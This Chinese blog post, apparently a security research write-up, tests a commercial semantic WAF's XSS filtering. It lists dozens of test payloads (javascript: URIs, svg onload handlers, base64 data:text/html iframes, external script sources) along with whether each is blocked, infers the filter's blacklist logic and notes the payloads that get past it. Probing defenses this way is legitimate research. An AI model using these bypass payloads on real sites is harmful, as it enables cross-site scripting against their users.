细品某语义waf的xss防护(3)

问题背景

  • 经过前期调研,标签中下面的危险属性可以用来做xss攻击:
    • href属性
    • src属性
    • on事件属性
    • srcdoc属性
    • xlink:href
    • action
    • formaction
    • data (object标签)

假设攻击场景如下

1
2
3
4
5
6
漏洞输出位置是 <标签 危险属性="用户输出可控位置">,比如:
<a href="用户输出可控位置">
<script src="用户输出可控位置">

攻击者不闭合属性值时利用xss攻击,如:
<a href="javascript:alert('xss')">

经过前期调研,在属性值中有下面这些利用方式:

  • javascript:js代码
  • js代码 (on事件属性)
  • data:text/html
  • script脚本地址 (script标签的src属性)

在这个场景下,不考虑其他的利用手段,验证厂商语义waf的安全防护策略

分析思路:

  • 针对在属性中每一种利用方式测试,根据拦截情况推测安全防护策略

分析过程

javascript:js代码

攻击场景是

1
<a/href="用户输出可控点"></a>

测试过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
a=javascript:console.xxx()   拦截
a=javascript:console.log(111);xx{`faji( 不拦截 说明判断了js语法是否正确
a=javascript:xxx.consol(11) 不拦截
a=javascript:xxx.console(11) 拦截 说明危险对象和危险函数一样,在同一个黑名单里。

a=javascript:xxx.consoleeee(11) 拦截
a=javascript:xxx.xxxconsoleeee(11) 不拦截 说明判断是否在黑名单中采用前缀判断

a=javascript:xxxxx() 不拦截
a=javascript:alertxxx(11) 拦截
a=javascript:alert() 拦截 说明逻辑是 是否存在函数调用 && 函数名是否在黑名单中

a=javascript:a=alert;a(1); 拦截
a=javascript:a=alert;b(1); 拦截 似乎逻辑是 危险函数赋值 && 调用函数

a=javascript:a=console;b`1`; 拦截
a=javascript:a=console;b(1); 拦截
a=javascript:a=/**/console;b`1`; 拦截 可以确认拦截逻辑是 危险函数赋值 && 调用函数

a=javascript:alert("1") 拦截
a=javascript:alert?.("1") 应该拦截,但是没有拦截。 说明这里做了js语法解析,且解析器没有支持最新的js语法

a=javascript:console() 不拦截
a=javascript:console();xxx.xx() 拦截
a=javascript:consolexxaa();xxx.xx 不拦截 说明只有存在 对象.函数()形式的函数调用 && 对象名在黑名单中

a=javascript:window=xxx;xxx.xx() 不拦截
a=javascript:xxx=window;xxx.xx() 拦截 可以确认拦截逻辑是 危险对象赋值 && 调用函数

小结:

  • 解析js && 是否存在”函数()”形式的函数调用 && 获取调用函数名 && 函数名在黑名单中(前缀匹配) 则拦截
  • 解析js && 是否存在”对象.函数()”形式的函数调用 && 获取函数名、对象名 && 将危险对象名扩充到黑名单中 && (函数名在黑名单中 || 对象名在对象黑名单中) 则拦截
  • 解析js && (危险对象赋值 || 危险函数赋值) && 调用函数 则拦截

js代码

攻击场景是

1
<svg/onload="用户输出点">

测试过程

1
2
3
4
5
a=alert()   拦截
a=xxxxx() 不拦截 说明逻辑是 是否存在函数调用 && 函数名是否在黑名单中
a=x=alert;x(1); 应该拦截,但是没有拦截。 说明这里没有"危险函数赋值 && 调用函数"的检测逻辑
a=console.log(11) 应该拦截,但是也没有拦截 说明没有拦截"危险对象"
xxxx.alert(11) 拦截 确认逻辑是 是否存在函数调用 && 函数名是否在黑名单中

小结:

  • 解析js && 存在”对象.函数()”形式或者”函数()”函数形式的函数调用 && 函数名是否在黑名单中 则拦截

data:text/html

攻击场景是

1
<iframe src="用户输出可控点">

测试过程

1
2
3
data:text/html;base64;PGltZy9vbmxvYWQ9eHg  不拦截

data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+ 应该拦截,但是没有拦截. 说明不拦截这种利用场景

小结:不拦截

script脚本地址 (script标签)

攻击场景是

1
<script src="用户输出点">

测试过程

1
http://xxx.com/a.js  应该拦截,但是没有拦截. 说明不拦截这种攻击场景

小结:不拦截

总结

拦截策略,可能是:

  • 解析js && 是否存在”函数()”形式的函数调用 && 获取调用函数名 && 函数名在黑名单中(前缀匹配) 则拦截
  • 解析js && 是否存在”对象.函数()”形式的函数调用 && 获取函数名、对象名 && 将危险对象名扩充到黑名单中 && (函数名在黑名单中 || 对象名在对象黑名单中) 则拦截
  • 解析js && (危险对象赋值 || 危险函数赋值) && 调用函数 则拦截
  • 解析js && 存在”对象.函数()”形式或者”函数()”函数形式的函数调用 && 函数名是否在黑名单中 则拦截